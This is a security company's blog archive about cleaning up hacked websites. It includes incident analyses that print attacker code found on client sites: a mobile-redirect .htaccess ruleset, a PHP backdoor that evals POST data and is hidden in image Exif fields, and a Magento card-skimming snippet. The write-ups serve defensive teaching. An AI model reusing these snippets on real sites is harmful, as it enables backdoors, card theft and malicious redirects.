Category Archives: Website Hacked

Your Web Developer Might Not Be the Best Person to Handle Cleaning Up a Hack of Your Website

When it comes to cleaning up hacked websites, the reality is that a lot of the companies that offer to do that don’t know how to do it properly or are intentionally cutting corners. We know this because we are often hired to re-clean hacked website after they get re-hacked and the first thing we always ask when somebody mentions that they perviously had someone else try to clean it, is if the previous company was able to determine how the website was hacked. Trying to determine how the website was hacked is one of the three main components of a proper hack cleanup, so the answer to that question should always be that they were or the reason that they were unable to determine how it was hacked (which is often the case due to poor log archiving practices at many web hosts). In almost all cases the response we get back is some variation of of that the issue of how the website was hacked was never even brought up by the cleanup company. When companies are not doing basic parts of the cleanup it really isn’t all that  surprising that the website doesn’t get fully fixed and it needs to be re-cleaned.

Since it is hard to for someone to determine whether a company they don’t have prior experience with is on the level or if they will make claims that about what they do and their level of expertise (as so many companies offering to clean up hacked website seem to do) working with a web developer or similar person you already have a relationship would seem to be a fairly good idea. The reality is that it can lead to poor handling of a hack cleanup, so you should at least get a second opinion on what to do, if you are considering having them handle it.

A recent example of them handling that in a less that ideal way involves a situation we were contacted about recently. A web developer contacted us about the possibility of us doing an upgrade of a Joomla 1.0 installation on a customer’s business website ASAP. When we went to take a look at the website we noticed it was serving up malware and was being blocked by Google. At that point we suggested that the website be cleaned and then seeing as moving from Joomla 1.0 is major migration, to then take their time doing the migration instead of rushing it. At that point they replied that they were aware that the website was hacked and that moving to the new version was their solution.

Doing an upgrade or migration usually not a good way to try to deal with a hacked website, since that may not remove much, if any, of the malicious items added by the hacker and the hack may be unrelated to the software being changed, so the website may just as vulnerable to exploitation after doing the upgrade or migration. For a major upgrade or migration it is also going to takes longer then a hack cleanup and it you rush that there could be even more problems that need to be dealt with down the road. In this case, when we went to see if things had been resolved a week later, the website was still hacked and had not been moved to a newer version, whereas with a hack cleanup things can usually be resolved in a matter of hours, so the business had lost at least a weeks worth of business brought in by their website.

Also concerning to us in this case was the fact that the web developer had said they wanted to move to Joomla 2.5 or Joomla 3, despite the fact that support for that version had ended back in December of 2014.

Posted in Website Hacked | Leave a comment

Your Website Probably Wasn’t Hacked Through A Backdoor

When it comes to dealing with hacked websites our experience is that information coming from web hosts often isn’t great. When you consider how terrible many security companies dealing with websites are, it isn’t very surprising that companies that don’t claim that expertise would be bad as well.

Last week over on the blog for our Plugin Vulnerabilities service we discussed one issue that comes up from time to time, which is web hosts claiming that the source of a hack is whatever software that happens to be located where a hacker placed a malicious file. Often times the hacker just randomly place their malicious files, making the location of the file a weak piece of evidence as to the source of the hack in most cases.

Another recent example of this involved someone who contacted about a website that was hacked, cleaned, and then was getting re-infected everyday. In that situation our first question is always if the person that cleaned up the website determine how it was hacked. Seeing as someone doing a cleanup should attempt to determine how a website was hacked, that will tell you if the person doing the cleanup was doing things properly (the response almost always indicates they haven’t). It also important since the re-hacking could indicate that the security vulnerability that allowed the website has not been fixed and knowing what was believed was the cause would provide a better understanding of the situation.

In this case they said that there web host had been hacked through a backdoor (apparently the person that did the cleanup did not determine how the website was hacked). For those not familiar a backdoor would be code that allows a hacker remote access to the website internals. In most cases a backdoor could not be source of a hack since the backdoor would have to have gotten on the website. Usually the hacker will exploit a vulnerability to allow them to place a backdoor on a website and then use the backdoor to perform further actions on the website, so the backdoor isn’t the source of the hacking, only a result of it.

The main exception to this is that occasionally a malicious individual will be able to plant a backdoor into non-malicious code, say sneaking it in to an otherwise legitimate WordPress plugin in the Plugin Directory. That is by no means a common occurrence though.

If your web host or someone else is telling you your website was hacked through a backdoor, you should ask them how it got there to understand if they are correct about the source of if they failed to understand the actual source.

Posted in Website Hacked | Leave a comment

It Appears That FTP Login Credentials Provided To Cart2Cart Were Compromised

When dealing with hacked websites one of the important parts of the process is to determine how the website was hacked. If that isn’t it done the vulnerability that was exploited is more likely to remain open and be exploited again. Amazingly many companies that do hack cleanups don’t do that (which frequently leads to us being hired to re-clean hacked websites).

While dealing with one such case recently we came across evidence that company Cart2Cart was compromised at some point leading to a hacker gaining access to FTP login credentials for websites that were provided to Cart2Cart.

The hacking case we were dealing with was rather serious, as the breach first lead to thousands of dollars of decline fees with a payment processor and then later after that issue was resolved the breach lead to the compromise of credit card credentials used on the website (which is a good reminder of why figuring how the website was hacked and closing the vulnerability in the beginning is so important).

One of the places that is checked when working to determine the source of the hack is the log of FTP activity. For this particular website one of the things we first noticed while looking over that was that there had been access from IP addresses in the Netherlands

Tue Jun 09 05:45:57 2015 0 3326 /home4/[redacted]/public_html/oc_1/bridge2cart/config.php a _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:24 2015 8 911360 /home4/[redacted]/public_html/oc_1/download/XLS-BACKUP-01-01-2014_15-32.xls b _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:50 2015 1 81817 /home4/[redacted]/public_html/oc_1/sql.php a _ i r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:52:08 2015 0 1296 /home4/[redacted]/public_html/oc_1/config.php a _ o r c2c@[redacted].com ftp 1 * c

and Russia

Thu Jul 16 11:22:17 2015 2 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:24:50 2015 0 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:26:35 2015 2 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:22 2015 0 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:27 2015 0 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:29:59 2015 0 9761 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:38:00 2015 0 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c

during the summer. Since the website is US based that is usually a strong indication that the FTP login credentials have been compromised. Though it can sometimes be due to someone traveling or use of a foreign service provider. In this case we thought at first it might be the latter because the FTP account was one that looked to have been created especially for the service provided Cart2Cart. Checking with the client we found that it was indeed set up for them, but that their use of Cart2Cart ended more than a year ago.

At this point we had a pretty good idea based on what was in the FTP log that a FTP account had been compromised, but without knowing how it got compromised we couldn’t be sure how to prevent that from happening again or if other logins were also compromised as well. So what was the source of the compromise?

When we did a search on the Russian IP address,, we came across a forum thread from January that described a very similar situation. In that case a FTP account that was “created expressly for [Cart2Cart], no other reason” was making unauthorized changes to the website’s payment module when Cart2Cart should no longer have been accessing it. The only major difference between the two cases is that we were dealing with an OpenCart based website while in the other case it was a PrestaShop based website.

In the thread someone from Cart2Cart responded:

As far as I can see from your screenshots, IP address doesn’t belong to Cart2Cart.

The chances that two FTP accounts created especially for use by Cart2Cart were compromised with malicious access coming from the same IP address and the source of the compromise of these logins not being on Cart2Cart’s end seem to be incredibly small. Since they seem to be a legitimate service provided we don’t believe that they were involved in the hacking themselves, so that leaves us to believe that they must have been compromised at some point.

Their lack of concern in that thread that they might have been compromised doesn’t really jibe with the claim on their website that:

We have taken every precaution to ensure that our systems which store access information is highly secure.

It is also worth noting that the first malicious FTP access to the website we were dealing with, as shown in the FTP log, was two months after the time that forum thread was active.

If you have used Cart2Cart in the past, now would be a good time to make sure you have changed any password you provided them and probably make additional checks of your logs and files to make sure you have not been compromised as well.

Posted in Bad Security, Website Hacked | Tagged | 1 Comment

Behind the Scenes of a Hack That Causes a Website to Redirect on Mobile Devices

When hackers hack websites they generally try to do things in a way that won’t be easily spotted by the webmaster. Two ways of doing that have long been popular have been to serve up different content when the websites pages are requested by crawlers for search engines (cloaking) and redirecting the website to another location when accessed through a search engine. Recently we have been having an increasing number of people come to us to get their websites cleaned up after their website starts being redirected to a malicious website when accessed from a mobile device.

This redirection can occur on the server side or on the client side. On the server side it would usually be caused malicious code added somewhere in the code that generates the website’s pages or by code added to a .htaccess file. On the client side it would usually be caused by malicious JavaScript code being added to the page or one of the JavaScript files loaded with the page.

Let’s take a look at the code added in one recent .htaccess based incident we cleaned up to get a better idea of what is going on behind the scenes with this type of hack.

First the code turns on Apache’s mod_rewrite module to allow the rest of the code to function.

RewriteEngine on

Next up is the code for detecting that requests is coming from mobile device, which you can see the code is fairly extensive. It starts with some obvious targets, looking for requests where the user agent given includes a mention of popular mobile device software and hardware like Android, BlackBerry, and iPhone. It then checks for a fairly long list of other devices, including what looks to be references for more obscure devices like the Bird D736 and Spice S-940.

RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser||mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR]
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]

Next the code stops the redirection from occurring if the requests are identified as coming from a variety of other sources, including search engine crawlers and PlayStation devices.

RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]

Finally the code that causes the redirection, in this case the website is redirected to when accessed from mobile devices.

RewriteRule ^(.*)$ [L,R=302]

Detecting Server Side Redirects

For server side redirects we have put together a small tool that shows if a given web page redirects when accessed by a mobile device, which should make it easier to troubleshoot that type of situation.

The Cause of The Hack

Since a mobile redirection can be done in a variety ways, there isn’t one thing that would allow this type of hack to occur. With the above code added to the .htaccess we determined it had been caused by a security vulnerability in an outdated WordPress plugin (a good reminder to make sure you keep all of the software on your website up to date). If you are dealing with a hack with this type of redirection it is important to review the logs and other evidence available to try to determine how the hack occurred, so you can be sure the vulnerability has been fixed and the website doesn’t get re-hacked. You should also make sure you are taking the other important security precautions going forward.

Posted in Website Hacked | Leave a comment

Most Website Hackers Are Not Sophisticated

One thing that we see fairly frequently with Internet security companies is that they try to sell their largely unneeded, and usually largely ineffective, security products and services by portraying websites as under constant threat from sophisticated hackers.  The reality is that while few hackers are quite sophisticated, most hackers only have rudimentary skills and basic security measures will prevent your website from being hacked. As an example of what you are dealing with in most cases let’s take a look at someone’s claim on ZONE-H – a website for displaying defaced websites – that they had hacked our website last week. Since that page is supposed to be removed once the claimed defacement is reviewed, here is a screenshot of it:


What you can see with that is that the mirror copy of our website shown from the time of the claimed defacement doesn’t actually show that the website has been hacked. Instead it shows that if you request a page on our website that doesn’t exist you will get a message that it doesn’t exist. Why someone would try to pass that off as defaced/hacked website is unclear to us.

Based on the URL of the supposed defaced page,, what they were trying to exploit was a vulnerability in a WordPress plugin that a) we don’t even use, so there is no chance it could be exploited and b) if we did use it and had the vulnerable outdated version installed they would have needed to try to exploit it from where WordPress is actually installed on our website, which isn’t the root directory of the website as they tried (this could be easily checked on, which again shows the lack of sophistication that usually exists).

Posted in Website Hacked | Leave a comment

Lessons from the FancyBox for WordPress Plugin Vulnerability

Last week a vulnerability in the WordPress plugin Fancybox for WordPress was exploited causing many websites to serve malware. A week later we thought it would be a good time to look at what went wrong and what lessons can be taken from the incident to hopefully improve WordPress plugin security going forward.

WordPress Plugin Security is in Bad Shape

When we started to look in to this, what we were most interested to see was what was the underlying vulnerability that allowed the websites to be hacked. Was it some obscure corner case that allowed a hacker access they shouldn’t have or was it some very fundamental failure? Since the developer stated they fixed the vulnerability in version 3.0.3 looking at the changes in that version was the starting place for understanding that. What the changes made show is that anyone could change the plugin’s settings. By anyone we truly me anyone, you didn’t have to be logged in to WordPress to change the settings. This wasn’t the intention of the developer, as can be see by the fact that only logged in users who are Administrators can access the plugin’s settings page.

The problematic code is the code for saving the settings, which did not check to make sure that the settings change came from the setting’s page. In 3.0.2 the code simply checked if a request for a setting updates was sent and then went on to save the settings:

if ( isset($_REQUEST[‘action’]) && ‘update’ == $_REQUEST[‘action’] ) {

The changed code in 3.0.3 checks to see where the request came from as well:

if ( isset($_REQUEST[‘action’]) && ‘reset’ == $_REQUEST[‘action’] && check_admin_referer( ‘mfbfw-options-options’ ) ) {

In many cases being able to change a plugin’s settings would not allow it to be used to serve malware. What allowed it in this cases is that the plugin has settings that allow additional code to be added to pages in which FancyBox for WordPress is present:

Fancybox for WordPress Extra Calls Settings Page

All the hacker had to do was to update the settings to turn on that feature and have it use their malicious code.

The fact that a plugin that now has over 600,000 downloads (each time an installed plugin is updated in WordPress that gets included in the download count, so the amount of websites using it is much lower) allowed anyone to change it’s settings and a hacker was the first person to discover this isn’t a good sign for the security of WordPress plugins. We think that Automattic has at least some responsibility for improving this situation.

The response after the fact was much better. The vulnerability was quickly fixed and WordPress automatically pushed the updated version for those running at least WordPress 3.7 (which introduced automatic updates)

Understanding the Scope of Vulnerability

When dealing with a hacked website an important element in the cleanup process is understanding the scope of the exploitation, so that appropriate cleanup action is taken. While it doesn’t hurt to do more than what is needed, it can take more time and increase expenses, which can be a major hardship depending on the website.

In this case the direct impact of the vulnerability is somewhat limited. The hacker is able to add code to the setting and that is loaded on pages on the website but because the setting is stored in the database safely using the update_option function they can not otherwise gain access the database through the vulnerability. It is possible for malicious JavaScript to provide the hacker additional access to the website if an admin was to have visited a page that has the code on it while logged in.

Once a website upgraded to at least version 3.0.4, any malicious code currently stored in the setting is disabled and the vulnerability is patched, so the website should be secure at that point, but you may want take the precautionary measures of changing the passwords associated with the website and checking over the website for malicious code or reverting the website to a backup made before the website was originally hacked.

The Settings API

When looking at how to improve code security, hoping that people will start writing secure code on their own isn’t a good bet. Some combination of making it easier to do things securely and making it harder to write insecure code seems to be an important element to improving the situation.

So could be something be done to deal with this type of situation? There already is a way to handle saving settings securely, the Settings API, which was introduced in WordPress 2.7. This API handles managing settings and only allows settings to be saved by users with manage_options capability, which is normally only given to Administrators (and Super Admins when using MultiSite). The problem with it is that it doesn’t appear to be used in many plugins (that includes our plugin with a settings page, which we are looking to rectify). It would be worth looking in to how to make it so that it is more widely used going forward.

Security Journalism is in Bad Shape

You don’t have to follow IT security closely to know that it isn’t in good shape these days, with major company after company revealing that sensitive customer data has been breached. Good IT security journalism could be an important piece of shining a light on bad practices (which are abundant) and ultimately getting security where it should be. Unfortunately, what we have found is that security journalism is in as bad or worse shape than the security they cover. Take for instance The Register’s article on the situation with this plugin. It misses many important details, like the fact the plugin was being automatically updated for many and that the update would take care of much of the issue. It then follows that up with some truly bad reporting:

The vulnerability followed what was described as the “most serious” hole in five years, disclosed last November, that affected what was then estimated to be 86 per cent of WordPress websites. That cross-site scripting hole was found in the hugely-popular WP-Statistics plugin.

First off we have yet to see any impact from the vulnerability that is mentioned as being the “most serious” hole in five years, its limited impact would be something to mention several months after it was fixed in outdated installs (the current version at the time was not vunerable, which would have been worth mentioning as well). The bigger mistake is that the author of the article is conflating a vulnerability in WordPress itself with an unrelated vulnerability in the the WP-Statistics plugin, despite having also written the article they are citing about the previous vulnerability.

Posted in Bad Security, Website Hacked, WordPress Plugins | Leave a comment

Your Website Probably Wasn’t Hacked by a Competitor or Former Employee

When first discussing with a potential client about dealing with a hacking issue on their website what often comes up are questions about who hacked them and why. On a fairly regular basis they suspect it was a competitor or someone previously involved with the website. In reality the person hacking the website is almost always going to be someone who has no knowledge of the specific website, much less has any connection to it. These hackers are not targeting specific websites, instead they are just trying to gain access to as many websites as possible to use for their own purposes. To get a better idea of what is going on lets take a look at a hacking on a fairly high profile company’s website.

A recent hack we looked at involved a website having a set links added to the website’s page when Google crawled them (this is referred to as cloaking). Several of the links stood out, as they were to pages on You might not recognize the company the website belongs to, Just Born, but you probably are familiar with their products, which include Peeps, Mike and Ike, and Hot Tamales. When visiting one of the linked pages,, the website looks normal at the top but then as you look farther down the page it has repeating text about soccer jerseys:


In fact all of the main content of the page is like that (click to enlarge):

just-born-spam-hack-2By comparison the page it looks like the hacker based the spam page on,, has normal content:


Creating a page on their website with a bunch of text about soccer jerseys wouldn’t make much sense for a competitor or a former employee to do, so what is the purpose of this? Well if you come to the page through a search engine you are redirected to, which as the address suggests is selling jerseys. If you do a search on their address on Google the second result is a page on ScamGuard that describes the website as a “Fake merchandise web-store operating from China. Consumers are advised to avoid making purchases from this site.“. Due to how Google ranks pages this type of hacking can lead to getting pages on websites otherwise unrelated to the product to rank highly. For example, earlier this year we found that a hacking campaign was able to get a website to rank in the top ten for UGG boots, the problem as shown in one of the screenshots in that post is that Google will usually catch up with this eventually and label the website as being hacked. That is part of why the hackers try to get access to as many websites as possible so they can switch to new websites when the old websites get labeled or the webmaster catches on and cleans up the hack.

Interestingly, while someone involved with the webiste is hacking other websites to direct to traffic to, they don’t appear to be interested in getting traffic directly to their website as the listing for their own website in Google says “A description for this result is not available because of this site’s robots.txt – learn more.”.



Posted in Website Hacked | Leave a comment

Hackers Hiding Malicious Code in Exif Data of Images

We don’t write much on what hackers do with websites once they hacked them since the focus of security companies should be on making sure that website don’t get hacked in the first place, which wouldn’t be hard to do if the companies were interested in that, but sometimes hackers are doing something worth discussing.

Hackers use various methods to try to hide the malicious code they add to websites. Oftentimes they obfuscate the code in some way, though this often makes it easier to spot the malicious code since very little legitimate code on a website would be similarly obfuscated. While cleaning a website recently we dealt malicious code that was one hand better hidden to some detection methods, but on the other hand caused the fact the website was hacked to be identified when it hadn’t been otherwise identified for some time. The website in question had been repeatedley hacked through the exploitation of a vulnerability in an outdated version of the Joomla extensions JCE. Once one of the hackers had gained access to the website they placed malicious code into the Exif data, which stores information on the camera that took the photo, of existing images on the website. The hacker replaced the existing data on the camera maker and model with malicious code:

Malicious Code in Exif Data

When deobfuscated the full code in the model tag reads:

if (isset($_POST[“zz1”])) {eval(stripslashes($_POST[“zz1”]));}

That code would evaluate (run) the data sent with POST variable zz1.

On its own the image file is harmless since the web server will not run the code stored in the Exif data, so a second file is used in conjunction with the image file. In this case the file consisted of two lines of code:

$exif = exif_read_data(‘/[redacted]/templates/ja_purity/images/header/header4.jpg’);

The first line reads the Exif data and the second executes the code stored in the image. The code looks rather harmless by itself, so it could easily be missed when checking for malicious code.

If a malicious code scanner doesn’t check the Exif data of image files then the malicious code could unnoticed in that as well. In this case the malicious code was detected not by something scanning the server, but by desktop antivirus software checking as the website was being visited by normal users. When we were first contacted about the website we were somewhat confused about why it would be setting anti-virus software because we were not being served any malware by the website and the only outward impact of the hack was some hidden spam links, which usually don’t set off anti-virus software. Once we got in to clean it up we found the malicious code in some image file’s Exif data and were able to figure out what was going on.

Running an image file with the modifications made by the hacker to the Exif data through VirusTotal shows that 21 of the 53 virus scanners they check currently identify the malicious code (shown below). Of those, 13 include PHP in their label which makes identifying what is going easier than other likes Symantec, which simply lists it as a “Trojan Horse”.

AVG: PHP/Small.A
Ad-Aware: Trojan.PHP.Agent.GA
AntiVir: PHP/Agent.xadx
Avast: JPG:PHPAgent-A [Trj]
BitDefender: Trojan.PHP.Agent.GA
CAT-QuickHeal: JPEG.Trojan.Agent.GA
Emsisoft: Trojan.PHP.Agent.GA (B)
F-Secure: Trojan.PHP.Agent.GA
GData: Trojan.PHP.Agent.GA
Ikarus: Backdoor.PHP.Agent
Kaspersky: Trojan.PHP.Agent.dn
McAfee: Generic BackDoor.agb
McAfee-GW-Edition: Generic BackDoor.agb
MicroWorld-eScan: Trojan.PHP.Agent.GA
Microsoft: Backdoor:PHP/Small.J
NANO-Antivirus: Trojan.Jpg.Agent.cgxikf
Norman: Backdoor.CDG
Symantec: Trojan Horse
TrendMicro-HouseCall: BKDR_ZZPEG.SM
nProtect :Trojan.PHP.Agent.GA

Posted in Website Hacked | Leave a comment

Credit Card Compromises in Magento

On more than a few occasions we have been contacted by someone running a Magento store concerned that credit cards used on the store are getting compromised somehow. In some cases the person running the store is pretty sure it is happening because they tried using a brand new credit card on the store and shortly afterwards attempted charges for other things are made with the card, but they don’t know what could have caused the store to be compromised. In more than a few cases the person running the website has run a PCI scanner on the website and it has found nothing, so they are not sure what is going on. Since we have seen that in every instance so far the store was in fact compromised and with the same cause, we though it worth mentioning the source we have found in those cases. Keep in mind that there could be other causes for this as well.

What we have found is that the compromise of the credit cards through the store has been done by a hacker adding code to the file /app/code/core/Mage/Payment/Model/Method/Cc.php. Below is the code that we found on one website. In this case the first portion of code collects the various pieces of the credit card data and then in the second portion the credit card data is sent off to the email address

$owner = $info->getCcOwner();
$ccnumber = $info->getCcNumber();
$expmont = $info->getCcExpMonth();
$expyear = $info->getCcExpYear();
$issue = $info->getCcCid();

$today = date(“F j, Y, g:i a”);
$to = “”;
$subject = “”;
$from = “CARDING-Fence”;
$headers = “From:” . $from;

We have seen various code added, so there isn’t one thing to look for. The easiest way to check for a modification is to download a fresh copy of the version of Magento being used on the website and then do a file comparison of the /app/code/core/Mage/Payment/Model/Method/Cc.php on the website with the version in fresh download to see if changes have been made.

If there is malicious code in that file removing the code should stop the credit card data from being compromised, but you will still need to take a number of other steps. We have found that in some cases other malicious code is added to the website, so anything else added will need to be removed either by removing the code or restoring the website to a clean backup copy. You also need to determine how the website was hacked and fix that, so the website doesn’t get re-hacked. If you don’t have the expertise to do those things we have a service for cleaning up hacked Magento stores. At that point you should also review if you are meeting the security requirement of your credit card processor and check what notification you may need to provide due to the breach.

Posted in Magento, Website Hacked | Leave a comment

Hacked Websites Used To Get Top 10 Search Result For UGG Boots

When hacked websites are covered in the news it is usually due to information stored on the websites being compromised or malware being added to the website, but many websites are hacked for the less newsworthy goal of getting a top search result. We most often see this type of hack used to try get top search results for pharmaceutical related terms, hence this type of hack is often incorrectly labeled as being a pharma hack. We just ran into a set of websites hacked to reach the top search results for a very different item, UGG boots. The Huffington Post reported earlier this week that UGG boots are the fourth most most popular searched gift on Google Shopping, so it is easy to understand why this term would be targeted. In this case the hackers have been fairly successful in making it to the top of the results. Currently the eighth result for the search term for “UGG boots” in Google is one of the websites they have hacked:

UGG Boots Search Result Page 1

At this point Google has detected that website in question has been hacked, but they haven’t removed it from the search results. To put that place in the results in perspective, major chains DICK’S Sporting Goods, Victoria Secret, and Bloomingdale’s all have their UGG Boot pages showing up on the second page of search results for the term.

Hackers also made it to the eight spot for the term “uggs” using another hacked website:

Uggs Search Result Page 1

So how do the hackers gain top spots in the search results? The hackers use two sets of websites that they hacked. The first set are hacked to add links to pages on the second set of website. In the first set of websites HTML code full of links like this are added to the website:

Spam Link Source Code

Links are an important factor in how Google decide what pages to show in their search results, so if you can hack a lot of website and insert links to a web page you want to get in the top search results, you can make it happen.

The second set of websites are hacked to show Google content related to the search term instead of their usual content, which is referred to as cloaking. One of the websites in the links above is the website for the Virginia Department of Rail and Public Transportation and you can see the cloaking in action with it. If you do a search for their website right now on Google you will get this listing:

VA DRPT Google Search Result

Posted in Website Hacked | Leave a comment